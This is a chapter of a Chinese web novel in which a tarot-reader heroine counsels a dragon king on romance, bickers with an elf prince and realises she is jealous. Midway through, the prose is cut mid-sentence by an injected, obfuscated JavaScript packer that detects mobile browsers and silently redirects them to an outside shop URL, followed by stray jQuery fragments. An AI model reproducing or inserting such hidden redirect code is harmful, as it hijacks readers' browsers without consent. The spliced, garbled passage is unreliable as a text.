22. 吃醋

作品:《塔罗师爆改异世界和平大使

    在龙使家中小住的几日里,姜宛白四处走访确认,时不时与艾莉诺拉聊天,发现不少龙族家庭都是类似的情况。


    于是,事情莫名其妙地变成了和龙王谈心。


    这是姜宛白踏入的第三座王族宫殿,早已不复最初的畏畏缩缩,自然地像是回家一般。


    她随便找了个位置坐下,自来熟地喝了口茶,开口道:“龙王陛下,目前来看,生育率恐怕和诅咒之说关系不大,主要原因其实是一件被你们忽略的事。”


    “什么事?”


    “直接聊恐怕有些难以理解。我想先问问您,喜不喜欢你的妻子?”


    龙王并不算一个好脾气的人,龙使急急上前,正想提醒姜宛白别卖关子,就看见龙王面上一愣,苍老的脸上浮现出一点和岁月不符的羞赧:


    “当然是喜欢的。”


    龙使又默默退回去了。


    退回去的同时,他发现旁边的克莱斯特也满脸的求知若渴,顿时更加不解。


    “那你表达过你的喜欢吗?”


    “当然。”龙王急急开口,话到嘴边又有些烫嘴,“我……送她东西,给她封地和钱。”


    眼看着姜宛白露出一个无奈的笑容,龙王顿时有些不自信,虚心求教:“我是不是还有没做好的地方?”


    见他似乎没什么敌意,姜宛白便直白开口:“是。目前最主要的问题是龙族女性的满足感普遍很低。其次,也有生活水平提高,生活压力大等等原因。


    “建议你们开设一门恋爱课程。先学谈恋爱,再搞生育率。昨天我也和王后陛下聊了聊。她觉得您……”


    这次,她终于和旁边担惊受怕的龙使交换了一个眼神,不确定要不要直说。


    卡尔连连摇头,耐不住旁边的龙王主动追问:“我老婆怎么说?这里这么多人,我不会随便将你赐死,你直说便是。”


    “她觉得您谈恋爱太糙汉了。礼物也没有新意,每次不是送钱就是送地,都能猜到了。”


    龙王闻言震惊地张了张口,一副颇受打击的样子。


    “但是没关系。”


    姜宛白扶住旁边膝盖即将亲吻地面的龙使,递了一个别担心的眼神,冷静地从空间戒指里掏出长长的一卷纸,递过去:


    “这几日我征集了不同家庭的情况和意见,列了一个表格,您可以参考着学习和改进。不过,感情上的事很难套公式,用心感受才是最主要的。”


    相爱本身非常可贵。


    在走访的过程中,姜宛白发现,大部分家庭只是缺少了一些恋爱的智慧,但都拥有纯粹的爱和爱人的能力。这样的情况,反而是最好解决的。


    “好,好!”


    龙王接过羊皮纸端详了一会,越看越是喜上眉梢,笑得眼睛都快藏进了褶子里,一边喊着重重有赏,一边眼神热切地望向姜宛白,


    “若是恋爱课程正式开课,姜大侦查官可愿来当首席教师?”


    姜宛白的眼睛都瞪圆了,连连摆手:“我只是比较了解女性视角罢了。教人恐怕不行,我没有实战经验……”


    “没有谈过?”


    龙王眉梢一扬,眼神微妙地看了眼姜宛白,又瞄向她身后目不转睛地盯着人、并在听到“没有实战经验”时眼神都亮了的邻国王子,啧啧两声,角度刁钻地悄悄对他比了个倒彩。


    无端被踩一脚的克莱斯特:“……”


    临走前,姜宛白又不放心地嘱咐了诸如不要强迫女生、勇敢表达爱意、注意沟通、送礼投其所好之类云云。


    龙王勤奋地记了整页的笔记,巴巴地给她检查,又求贤若渴地挽留,姜宛白一溜烟跑了。


    龙使带着一车奖赏送他们回程时,姜宛白还有些不真实感:“你们国王怎么看着比你还恋爱脑?你不是说他阴郁的不行么?”


    卡尔欲哭无泪:“他平时真的不是这样的!我也不知道是怎么回事……”


    “大概是因为很喜欢吧。他提到王后时,眼睛里都是欢喜。”


    姜宛白淡笑了声,没正经几秒,又从戒指里掏出一张闪闪发光的黑卡,得意洋洋地开始炫耀,


    “看,龙王陛下给我的龙界终身健身卡!我走访时顺路去龙界健身房逛了一圈,健身器材好全!”


    驾车的龙使闻声回头,眼睛都瞪大了,和姜宛白一起激动得嗷嗷尖叫:“是传说中的终身vip卡!姜小姐,能不能凑近点让我仔细看看……天哪!”


    因为卡尔的分心,马车又开始在空中摇摇晃晃,但姜宛白完全没注意到,两人热烈的讨论声甚至吵醒了旁边昏昏欲睡的克莱斯特。


    他打了个哈欠,半睁了眼凑过去,几乎是下意识地开口:“什么卡?精灵国也可以有。”


    “但是精灵国的健身器材不全诶,以后过节我要去龙族休假。”姜宛白的语气有点嫌弃。


    捕捉到关键词,克莱斯特混沌的脑子瞬间清醒了,胜负欲极强地开口:“缺什么?我立刻派人补充。龙界有的,精灵界也会有。”


    这口吻听起来太像霸总了,姜宛白努力憋笑,垂眸做沉思态,语气里透着怀疑:“真的?可是精灵族都不爱健身,很容易倒闭的。”


    “……我会派人注资,不会倒闭。”克莱斯特咬牙切齿道。


    计谋得逞,姜宛白笑得像个小狐狸,美滋滋地晃了晃手环:“谢谢王子殿下,缺的我都发到你邮箱啦。君子一言,驷马难追。不许反悔哦。”


    “那是自然。”


    克莱斯特点了点头,翻阅着邮箱里齐全的器材名目,慢半拍地嗅到一丝诡计的味道,眉头皱起又慢慢松开,最后无奈地笑了下:


    “你这种行为……”


    姜宛白眼疾手快地伸手捂住他的嘴:“你刚刚点头了!”


    克莱斯特“唔唔”两声,乖乖闭了嘴,但脸上逐渐升腾起淡淡的红晕,看起来像是快要窒息了。


    见状,姜宛白立刻抽回手:“哎,我刚刚开玩笑的,怎么都不会呼吸了。你也太配合了……也不知道挣脱一下。”


    “我呼吸了。”克莱斯特红着脸为自己辩驳,看起来十分没有说服力,“真的。”


    -


    回到精灵国后,姜宛白坐在小屋的窗边填写调查记录和回执,一式两份,一份交给克莱斯特留档,一份寄往龙界。


    这个年代没有打印机,只能亲自誊抄。


    光是修改措辞,姜宛白就花了小半截蜡烛的时间。等到工工整整地写完两份报告,窗外已经下起雨来。


    天色暗了,天地间皆是一片昏昏沉沉的灰色,透明的雨丝斜斜飘过窗边,落了几滴在窗口的稿纸上,晕开点点浅淡水渍,空气里染上潮湿的土壤气息和草木香。


    这场雨下至傍晚不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14282886|151920||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    曾停歇,微斜的檐角落下淅淅沥沥的声音,时不时响过一道闷雷。


    姜宛白在客厅吃了晚饭,又和希尔达有一搭没一搭地闲聊了一会,便放她回去休息。


    打扫干净桌面,她也起身打算锁了门去休息,却忽然听见一道由远及近的脚步声,紧接着,门外响起了敲门声。


    “扣扣。”


    推开门,门外站着湿漉漉的克莱斯特,他把披风提起来裹在头上遮雨,肩头尽湿,衣角还在断续滴水。


    姜宛白赶紧喊人进屋:“怎么弄成这样?进来烤烤火,别受凉了。”


    “忘记带伞了。”克莱斯特仔细擦了擦鞋上的水,又脱下淋湿的披风挂在门边,才从门口小碎步挪进来。


    “下次有事直接发信息就好,不用特地跑一趟。”


    “其实也没什么事。就是刚刚打雷了……有点害怕。”克莱斯特乖乖坐在沙发上,脸上挤出一个笑容,眼神亮晶晶的,“咳,顺便找你占个卜。”


    姜宛白挑了挑眉梢,对于这个拙劣的借口不做评价,从口袋里拿出一副牌放在桌上,嘴角勾起一个笑容:


    “克莱斯特,就算你是王子,也不能强迫下属加班啊。”


    铺垫好了前言,她面不改色地伸出手,目的鲜明:“这次占卜的价格……是不是该翻一翻?”


    “当然。”克莱斯特轻咳一声,飞快地递了两千过去。


    姜宛白忍不住咂舌。


    这样挥金如土的生活,能不能让她也体验一下。


    “想问什么?”


    “我可以追到我喜欢的女生吗?”


    炉火映衬下,克莱斯特的面部线条很是柔和,脸上半是羞赧半是期待,眼睫被染成暖色,灯光落进眸子里,满眼都是细碎的亮光。


    姜宛白嘴角的笑容蓦地僵住了。


    “这个……不能问吗?”克莱斯特眼里的光淡了几分,嘴角微微下垂,看起来有点失望。


    姜宛白移开眼神,对这个问题避而不答,淡淡开口:“忽然有点头疼,恐怕占得不准。”


    “怎么头疼了?是不是受了寒气,要不我喊医生来看看?”


    克莱斯特闻言立刻紧张地靠过来,左瞧瞧右看看,跃跃欲试地想伸手探一下她的额头。


    姜宛白冷着脸避开他的手,语气里几乎有些恼意:“一点不适罢了,不劳殿下费心。追人靠的是真心和行动,塔罗牌恐怕帮不上忙。”


    “真的没事?”克莱斯特显然把她的话当成了耳旁风,只是急急地想看她的情况。


    “夜深了,殿下久留在我屋内恐怕不合适。不如明日再叙,我也好早点休息。”姜宛白站起身,不着痕迹地向后避了避,垂眸朝他掠去一眼。


    “也是……那你好好休息。”克莱斯特点了点头,一步三回头地出了门。


    关门落锁,姜宛白怔怔地倚在门上,哪里有半点困意。


    真是的,克莱斯特有喜欢的人不是很正常吗?她在别扭个什么。


    大门开合时带进来的几缕潮气依旧飘散在空气中,也不知是不是低气压的原因,姜宛白觉得胸口闷得难受。


    低头时,她忽然发现克莱斯特遗落在衣架上的披风,眼睛莫名感到一点刺痛感。


    脑中炸起一片金光,姜宛白忽然明白了此刻的心境。


    哈……她其实就是在吃醋吧?